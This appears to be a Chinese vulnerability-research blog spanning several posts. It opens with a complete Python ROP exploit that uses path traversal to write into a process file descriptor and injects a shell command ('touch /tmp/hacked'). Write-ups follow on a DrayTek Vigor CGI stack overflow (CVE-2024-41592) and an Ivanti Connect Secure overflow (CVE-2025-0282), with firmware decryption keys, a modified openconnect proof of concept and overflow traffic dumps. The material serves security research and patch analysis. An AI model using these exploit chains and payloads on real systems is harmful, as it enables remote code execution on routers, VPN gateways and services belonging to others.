59
60
61
62
63
#!/usr/bin/env python3
from pwn import *

def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False


def read_mem(addr, size):
if 0x0000000000400000< addr< 0x0000000004ff1000:
base = 0x0000000000400000
data = mem1[addr-base: addr+size-base]
elif 0x00000000051f1000 < addr < 0x00000000051f4000:
base = 0x00000000051f1000
data = mem2[addr-base: addr+size-base]
elif 0x00000000051f4000 < addr < 0x000000000520f000:
base = 0x00000000051f4000
data = mem3[addr-base: addr+size-base]
else:
return None
return data

def is_useful_gadget(out):
dis_list = out.split('\n')
for n, x in enumerate(dis_list):
if x == 'ret':
for _ in range(0, n):
if 'bad' in dis_list[_] :
return False
return True
return False

with open("mem1", "rb") as f:
mem1 = f.read()

with open("mem2", "rb") as f:
mem2 = f.read()

with open("mem3", "rb") as f:
mem3 = f.read()

segments = [(0x0000000000400000, 0x0000000004ff1000-0x0000000000400000), (0x00000000051f1000, 0x00000000051f4000-0x00000000051f1000), (0x00000000051f4000, 0x000000000520f000-0x00000000051f4000)]


for addr, length in segments:
for offset in range(length-4):
handle = addr + offset
if not is_valid_utf8(p64(handle-0x60)):
continue
signum = read_mem(handle+8, 4)
if not is_valid_utf8(signum):
continue
ptr = read_mem(handle, 8)
data = read_mem(u64(ptr), 30)
if data is None:
continue
out =  disasm(data, arch='amd64', byte=False, offset=False)
if is_useful_gadget(out):
print('handle',hex(handle), '->', 'ptr:', u64(ptr), 'signum', hex(u32(signum)))
print(out)

ROP Chain

当能栈迁移后， 后面就是拼接 ROP chain的流程了， 由于程序本身没有 system 、 popen 等函数的调用 ，所以我没有法直接 ret2text， 我将我的思路简单定成如下：

  • 找到一个 gadget 能从任意地址读取值， 然后赋值到某个寄存器上
  • 找到一个gadget 能对可控的寄存器进行加减法运算
  • 找到一个 libc 函数， 该函数与 system 的偏移满足 UTF-8 编码

首先通过 ROPchain 将所有可能能用的 gadget 输出成一个文件， 然后重新过滤下看哪些地址是符合 utf-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
def is_valid_utf8(byte_seq):
try:
byte_seq.decode('utf-8')
return True
except UnicodeDecodeError:
return False

lines = [ line.replace('\n','') for line in open('./gadgets','r').readlines()]
lines = list(filter(lambda line: ' : ' in line , lines))
lines = list(map(lambda line: line.split(' : '),lines))


result = list(filter(lambda l: is_valid_utf8(p64(int(l[0],16))),lines ))
for i in result:
print(i[0],' : ',i[1])

通过这个过滤，我找到了两条 gadget

1
2
0x0000000001097367  :  add rax, rdx ; ret
0x0000000002176b34  :  mov rax, qword ptr [rsi] ; ret

第i三个 libc 函数，我找到的是， setegid ， 它与system的偏移为 0xb1f30 符合 UTF-8

通过组合我们构造出如下 ropchain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '

最后就可以执行任意命令了

完整 exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import json
import requests
from urllib.parse import quote

# control rip
#content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


content = p64(0x4261af - 0x60) + p64(0xb7d900) + b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa'


pop_rdi_ret = 0x0000000000427748
pop_rsi_ret = 0x0000000000433d27
pop_rdx_ret = 0x0000000001634a57
sub_rax_rdx_ret = 0x00000000017e7432
mov_rax_qword_ptr_rsi_ret = 0x0000000002176b34
mov_rdi_rax_pop_rbp_jmp_rdx = 0x000000000190ade9
mov_rbp_rsp_pop_rbp_ret = 0x0000000001b1da5d

add_rax_rdx_ret = 0x0000000001097367
jump_rsp = 0x0000000000430657
mov_rdi_rax_pop_rbp_jump_rdx = 0x000000000190ade9 # mov rdi, rax ; pop rbp ; jmp rdx
mprotect_plt = 0xa98eb0
setegid_got = 0x51f3f08

content  = p64(0x4261af - 0x60) + p64(0xb7d900)
content += p64(pop_rdx_ret)
content += p64(0x100)
content += p64(add_rax_rdx_ret)
content += p64(pop_rdx_ret)
content += p64(pop_rsi_ret) # next gadget
content += p64(mov_rdi_rax_pop_rbp_jump_rdx)
content += b'aaaaaaaa' # junk data
content += p64(setegid_got) #
content += p64(mov_rax_qword_ptr_rsi_ret)
content += p64(pop_rdx_ret)
content += p64(0xb1f30) # setegid libc offset -> system
content += p64(sub_rax_rdx_ret)
content += p64(0x0000000003adace7) # jmp rax
content += b'a'*0x100 + b'; touch /tmp/hacked ; '


a = content.decode('utf-8')
print(f"content: {content}")
data = {'filename':"../../../../proc/8/fd/11","content":content.decode('utf-8')}

#print(json.dumps(data))
resp = requests.post("http://localhost:3000/upload",data = json.dumps(data),headers = {"Content-Type":"application/json"})

#data =  dump.dump_all(resp.reuqest)
#print(resp.text)

  1. 1.https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/↩
  2. 2.https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433↩

CVE-2024-41592 vigor 栈溢出漏洞分析


漏洞分析

, ,

…

TL；DR

这个漏洞其实是分析于今年11月份，鉴于今年只更新了四篇博客，所以就把这篇也拿出来了。这也是大概率今年最后一篇博客了。

CVE-2024-41592 是 forescout 一篇为 《Breaking Into DrayTekRouters Before Threat Actors Do It Again》[1]的漏洞报告其中的一个漏洞。

image-20241230143455676

漏洞产生于 GetCGI() 函数中， 在该函数中处理字符串参数会造成越界导致栈溢出。

漏洞分析

固件解压和调试准备

这里以Draytek 3910的 4.3.1 的版本作为调试 测试版本，进行展开分析。固件的解密和解压不展开赘述，可以参考之前 《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》 [2]slide 或者其他研究员的文章。

解压后能在 rootfs/firmware/vqemu/sohod64.bin 目录下找到主程序， Draytek 3910 采用了奇葩的 Linux + Qemu + RTOS 的奇葩架构，即在 arm linux操作系统上使用qemu 运行 drayos 的RTOS 操作系统。这里的调试方式采用的是使用编译 Draytek 开源的qemu代码进行编译，然后就可以正常调试。

调试之前需要对 firmware/setup_qemu_linux.sh 和 run_linux.sh 进行部分修改， 例如对run_linux.sh 在 qemu-system-aarch64 添加 -s 参数方便用于调试

image-20241230145133293

漏洞成因

我们通过一个有符号的 draytek 2830 的固件来快速定位到Draytek 3910 4.3.1的 GetCGI() 函数， 或者直接对 QUERY_STRING 字符串进行交叉引用。

image-20241230145702255

在各个 cgi 处理函数的时候都会进行一次 GetCGI 函数的调用来处理参数。

image.png

在这个函数（GetCGI）里面，当有 & 出现， 就会通过 makeword 函数生成一个内存空间，然后将地址赋值到栈上， 这个函数的部分逻辑伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
v19 = sub_400BFA18("REQUEST_METHOD", a3);
if ( v19 )
{
if ( !strcmp(v19, "GET") )
{
v18 = sub_400BFA18("QUERY_STRING", a3);
if ( !v18 )
return 0;
idx = 0;
while ( *v18 )
{
*(a2 + 8 * idx) = makeword(v18, '&');   // overflow
plustospace(*(a2 + 8 * idx));
unescape_url(*(a2 + 8 * idx));
v16 = safe_strcrh(*(a2 + 8 * idx), '=');
if ( v16 )
{
*v16 = 0;
*(a2 + 8 * idx + 4LL) = v16 + 1;
}
else
{
*(a2 + 8 * idx + 4LL) = 0;
}
++idx;
}
}

这里的 (a2 + 8 * idx） 在栈上， 当输入过多的 & 就有如下的效果：

image-20241230150417353

会有一堆指针覆盖栈上的变量， 甚至能覆盖到返回地址。

Exploit

虽然我们在GetCGI() 函数中覆盖到了返回地址， 但是在各个 CGI 函数结尾的时候会有一个 FreeCtrlName 函数的调用， 该函数会将将覆盖掉得返回地址的指针置零。

image-20241230152340712

也正如原文章所说的， 我们需要绕过这个函数

Although this seems straightforward, challenges exist. Consider the “FreeCtrlName()” function called when a
CGI handler returns (Figure 13). This function “frees” all the POST/GET request data structures, including the
query string buffer. It simply iterates over the 32-bit pointers located in the lower 4 bytes of the stack
21
DRAY:BREAK - BREAKING INTO DRAYTEK ROUTERS BEFORE THREAT ACTORS DO IT AGAIN
addresses and frees them, zeroing out the pointer values as well. Oddly, the higher 4-byte addresses (e.g.,
pointers to query string parameters values) are never freed

FreeCtrlName 函数伪代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall FreeCtrlName(__int64 result)
{
int v1; // [xsp+1Ch] [xbp+1Ch]
int i; // [xsp+2Ch] [xbp+2Ch]

v1 = result;
for ( i = 0; *(v1 + 8 * i); ++i )
{
result = sub_4061D7CC(*(v1 + 8 * i), 0x154u);
*(v1 + 8 * i) = 0;
}
return result;
}

这个函数的 free 逻辑是， 遍历栈上的指针， 一直free 直到为 0 为止， 因此我们需要找到一个函数可以在栈上写一个 0 ， 这样就能避免这个问题。在原文[1] 甚至后来 12月在 Blackhat EU 《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》[3]的slide 上都没有提及这个所谓的 [vulnerable-cgi-page].cgi 是什么。

image-20241230151257971

但是通过一些途径我们还是能找到这个能设置 0 的 cgi ， 思路也是比较简单

  1. 首先先将所有的 CGI 调用函数定义出来，

  2. 过滤出不需要授权的 CGI 函数

    粗浅的记得是只要函数里没有 CGIbyFieldName = GetCGIbyFieldName(v6 + 32, "sFormAuthStr");的调用就不需要授权

  3. 猜想哪些函数可以写 0 ， 例如 atoi(query_string), query_string 是 HTTP 请求传入的参数

通过以上操作，我们其实很快就能找到一个不用授权、且参数可控可写 0 的CGI。最后的效果就是我们可以控制返回地址跳转到一个内容完全可控的地址里（内容为具体参数的内容）且由于程序运行在 qemu 环境上， 因此我们可以在目标地址上写入任意的shellcode。 但是我们需要逃逸到 qemu 外面， 本身程序提供了一个， virtcons_out 这个函数， 可以执行一些特殊的命令， 我们可以在第一个参数中拼接命令注入来在host上执行任意命令。

image-20241230154445770

  1. 1.《Breaking Into DrayTekRouters Before Threat Actors Do It Again》https://www.forescout.com/resources/draybreak-draytek-research/↩
  2. 2.《HEXACON2022 - Emulate it until you make it! Pwning a DrayTek Router by Philippe Laulheret》https://www.youtube.com/watch?v=CD8HfjdDeuM↩
  3. 3.《When (Remote) Shells Fall Into The Same Hole: Rooting DrayTekRouters Before Attackers Can Do It Again》 https://i.blackhat.com/EU-24/Presentations/EU24-Dashevskyi-When-Remote-Shells-Fall-Into-The-Same-Hole.pdf↩

CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析


漏洞分析

, ,

…

TL; DR

2025年（暨蛇年）第一篇博客文章，顺便祝我的博客读者新春快乐吧。

1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警：

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/

1月10日 watchtowr 就发布了漏洞分析

https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/

1月10日我也发了我的漏洞复现推特： https://x.com/bestswngs/status/1877715807506952486

这次 diff版本2.3 build 3431 和 2.5， 特意留到了除夕夜发这篇文章..

固件提取

这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助， 具体流程如下：

添加磁盘到虚拟机里后， 用 lvdisplay 可以看到几个分区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
──(root㉿kali)-[/home/kali/Desktop]
└─# lvdisplay
--- Logical volume ---
LV Path                /dev/groupA/home
LV Name                home
VG Name                groupA
LV UUID                vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:21 -0500
LV Status              NOT available
LV Size                <4.87 GiB
Current LE             1246
Segments               1
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupA/runtime
LV Name                runtime
VG Name                groupA
LV UUID                dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc
LV Write Access        read/write
LV Creation host, time (none), 2025-01-09 17:28:39 -0500
LV Status              NOT available
LV Size                <19.46 GiB
Current LE             4981
Segments               2
Allocation             inherit
Read ahead sectors     auto

--- Logical volume ---
LV Path                /dev/groupZ/home
LV Name                home
VG Name                groupZ
LV UUID                cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK
LV Write Access        read/write
LV Creation host, time (none), 2024-10-07 06:47:49 -0400
LV Status              NOT available
LV Size                6.72 GiB
Current LE             1721
Segments               1
Allocation             inherit
Read ahead sectors     auto

可以看到这几个都是 lvm2 加密的， 没法直接 mount

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kali)-[/home/kali/Desktop]
└─# fdisk -l
Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xc45d0b27

Device     Boot Start       End   Sectors  Size Id Type
/dev/sdb1  *     2048 167968749 167966702 80.1G 83 Linux


Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00000000

Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1           16065    224909    208845  102M 83 Linux
/dev/sda2          224910    433754    208845  102M 83 Linux
/dev/sda3          449820    658664    208845  102M 83 Linux
/dev/sda4          674730 167766794 167092065 79.7G 85 Linux extended
/dev/sda5          674731  14779799  14105069  6.7G 83 Linux
/dev/sda6        14779801  30089744  15309944  7.3G 83 Linux
/dev/sda7        30089746  65802239  35712494   17G 83 Linux
/dev/sda8        65802241  81112184  15309944  7.3G 83 Linux
/dev/sda9        81112186 116824679  35712494   17G 83 Linux
/dev/sda10      116824681 132134624  15309944  7.3G 82 Linux swap / Solaris
/dev/sda11      132134626 167766794  35632169   17G 83 Linux

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/groupZ/home /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# mount /dev/sda1 /mnt/runtime

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls /mnt/runtime
boot.b  compact-file  coreboot.img  disksize  grub  kernel  log_coreboot  lost+found  VERSION

我们在 /dev/sda1 找到了对应的 kernel 和 coreboot.img， 可以看看到 coreboot.img 作为initrd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─# cat /mnt/runtime/grub/grub.cfg
set default=0
set timeout=5
insmod ext2
password 07ow3w3d743
serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1
menuentry "Current" {
set root=(hd0,2)
linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}
menuentry "Factory Reset" {
set root=(hd0,1)
linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
initrd /coreboot.img
}

decrypt

coreboot.img 作为initrd

image.png

我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了， 在 kernel中populate_rootfs里面写死密钥的AES解密

1
2
3
4
5
6
7
8
>>>DRAMFS_AES_KEY = bytes.fromhex("13D7B32E2600B7747D80FBA8F8D5C7CA")
>>>
>>>realkey = strxor(DRAMFS_AES_KEY[:4][::-1], bytes.fromhex('99ED2BF2'))[::-1]
2 realkey += strxor(DRAMFS_AES_KEY[4:8][::-1], bytes.fromhex('AEEF41FE'))[::-1]
3 realkey += strxor(DRAMFS_AES_KEY[8:12][::-1], bytes.fromhex('141058C7'))[::-1]
4 realkey += strxor(DRAMFS_AES_KEY[12:16][::-1], bytes.fromhex('D2ED180E'))[::-1]
>>>realkey
b'\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18'

binary ninja 带有神奇的优化，
image.png
优化出来就是异或完的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ffffffff826d0815            int64_t initrd_start_3 = initrd_start;
ffffffff826d081c            int32_t initrd_end_1 = (*(uint32_t*)initrd_end);
ffffffff826d082e            int64_t* rax_1 = crypto_alloc_base("aes", 0, 0);
ffffffff826d0833            uint64_t i = (uint64_t)(initrd_end_1 - initrd_start_3);
ffffffff826d083f            int64_t rcx_1;
ffffffff826d083f            int64_t rdx_1;
ffffffff826d083f            int64_t r8_1;
ffffffff826d083f
ffffffff826d083f            if (rax_1 <= -0x1000)
ffffffff826d083f{
ffffffff826d0875                int32_t var_6c_1 = 0xda5841d8;
ffffffff826d0889                int32_t var_70 = 0xb75efce1;
ffffffff826d088c                int32_t var_68_1 = 0xbcebd8ba;
ffffffff826d088f                int32_t var_64_1 = 0x182acdf6;
ffffffff826d089b                rcx_1 = rax_1[1](rax_1, &var_70, 0x10);
ffffffff826d089f                int32_t rax_2 = 0;

通过简单的逆向， 我们很快就可以写出一份解密代码， 我们可以把 coreboot.img 解密后出来一份gzip 压缩的cpio文件。

1
2
3
4
5
6
7
8
9
10
# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:53]
$ file out2.bak
out2.bak: gzip compressed data, last modified: Sat Oct  5 17:32:45 2024, max compression, from Unix, original size modulo 2^32 118361088

# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3 [17:53:49]
$ gzip -d out2.gz

$ file out2
out2: ASCII cpio archive (SVR4 with no CRC)

cpio 解出来的目录结构如下：

1
2
3
# swing @ sw in ~/Dropbox/Attachments/SafetyEquipment/VPN/ivc/2.3/initrd [17:55:34]
$ ls
bin     dash    dev     etc     gzip    insmod  lib     modules out2    rmmod   sbin    tmp     usr

etc/lvmeky 是其他上面几个 lvm 分区的 key , 使用 crypsetup 命令解密后可以进一步 mount 磁盘

1
2
sudo cryptsetup luksOpen --key-file /mnt/hgfs/G/chaitin/20250109_ivanti/ISA_R2.3/lvmkey /dev/groupA/home groupA_home
sudo mount /dev/mapper/groupA_home /mnt/disk1

shell 获取

/root/home/bin/dsconfig.pl 是进入后的shell
其中如果DSSys::isDebugBuild 返回是调试版本就会直接给出shell的选项

这里就是会调用 sub shell {} 方法

1
2
3
4
5
6
7
8
9
sub shell{
return "" if (!DSSys::isDebugBuild());
print "set DISPLAY variable if you want to start an xterm\n";

my ($install) = $ENV{'DSINSTALL'} =~ /(\S*)/;
DSSafe::system("$install/bin/dsshell");

return "";
}

通过简单逆向这个程序，我们就很快能获得一个带有调试功能的固件了（具体操作留给读者了， 很简单）

CVE-2025-0282

Diff patched

image.png

可以看到这里新加了一个长度判断， 之前存在栈溢出

1
2
3
4
5
6
7
8
9
10
memset(dest, 0, sizeof(dest));
strncpy(dest, *(const char **)(a1 + 140), v23);
v24 = 46;
v25 = &v57;
if ( ((unsigned __int8)&v57 & 2) != 0 )
{
LOBYTE(v24) = 44;
v57 = 0;
v25 = (__int16 *)&v58;
}

PoC

最早的poc构造是根据 watchtowr 的文章， 魔改 openconnect[1] 的 pulse.c 代码

1
2
3
4
5
6
7
if (bytes[0])
buf_append(reqbuf, " clientIp=%s", bytes);
+ buf_append(reqbuf, " clientCapabilities=%s", bytes);
+ for(unsigned int n=0; n<100; n++)
+       buf_append(reqbuf, "AAAAAAAAAAAAAAAA");
buf_append(reqbuf, "\\n%c", 0);
ret = send_ift_packet(vpninfo, reqbuf);

编译的时候需要一个 vpn.cript , 我这里用的是 https://gitlab.com/openconnect/vpnc-scripts/-/blob/master/vpnc-script?ref_type=heads

1
/configure --enable-static=yes --without-openssl --with-vpnc-script=./vpnc-script --without-libproxy --without-lz4

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
$ ./openconnect 172.16.64.222 --protocol=pulse --dump-http-traffic -vvv
Attempting to connect to server 172.16.64.222:443
Connected to 172.16.64.222:443
SSL negotiation with 172.16.64.222
Server certificate verify failed: signer not found

Certificate from VPN server "172.16.64.222" failed verification.
Reason:signer not found
To trust this server in future, perhaps add this to your command line:
--servercert pin-sha256:4fW+U987xNSV4e/eojrHz/Cr1pGxIIF0lraaXwBKQ2A=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 172.16.64.222 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
> GET / HTTP/1.1
> Host: 172.16.64.222
> User-Agent: Open AnyConnect VPN Agent v9.12-unknown
> Content-Type: EAP
> Upgrade: IF-T/TLS 1.0
> Content-Length: 0
>
Got HTTP response: HTTP/1.1 101 Switching Protocols
Content-type:application/octet-stream
Pragma:no-cache
Upgrade:IF-T/TLS 1.0
Connection:Upgrade
HC_HMAC_VERSION_COOKIE: 1
supportSHA2Signature:1
Strict-Transport-Security:max-age=31536000
accept-ch:Sec-CH-UA-Platform-Version
> 0000:  00 00 55 97 00 00 00 01  00 00 00 14 00 00 00 00  |..U.............|
> 0010:  00 01 02 02                                       |....|
Read 20 bytes of IF-T/TLS record
< 0000:  00 00 55 97 00 00 00 02  00 00 00 14 00 00 01 f5  |..U.............|
< 0010:  00 00 00 02                                       |....|
IF-T/TLS version from server: 2
> 0000:  00 00 0a 4c 00 00 00 88  00 00 06 a1 00 00 00 01  |...L............|
> 0010:  63 6c 69 65 6e 74 48 6f  73 74 4e 61 6d 65 3d 75  |clientHostName=u|
> 0020:  62 75 6e 74 75 20 63 6c  69 65 6e 74 49 70 3d 31  |buntu clientIp=1|
> 0030:  39 38 2e 31 39 2e 32 34  39 2e 31 38 38 20 63 6c  |98.19.249.188 cl|
> 0040:  69 65 6e 74 43 61 70 61  62 69 6c 69 74 69 65 73  |ientCapabilities|
> 0050:  3d 31 39 38 2e 31 39 2e  32 34 39 2e 31 38 38 41  |=198.19.249.188A|
> 0060:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0070:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0080:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0090:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 00f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0100:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0110:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0120:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0130:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0140:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0150:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0160:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0170:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0180:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0190:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 01f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0200:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0210:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0220:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0230:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0240:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0250:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0260:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0270:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0280:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0290:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02a0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02b0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02c0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02d0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02e0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 02f0:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0300:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0310:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0320:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0330:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0340:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0350:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0360:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
> 0370:  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
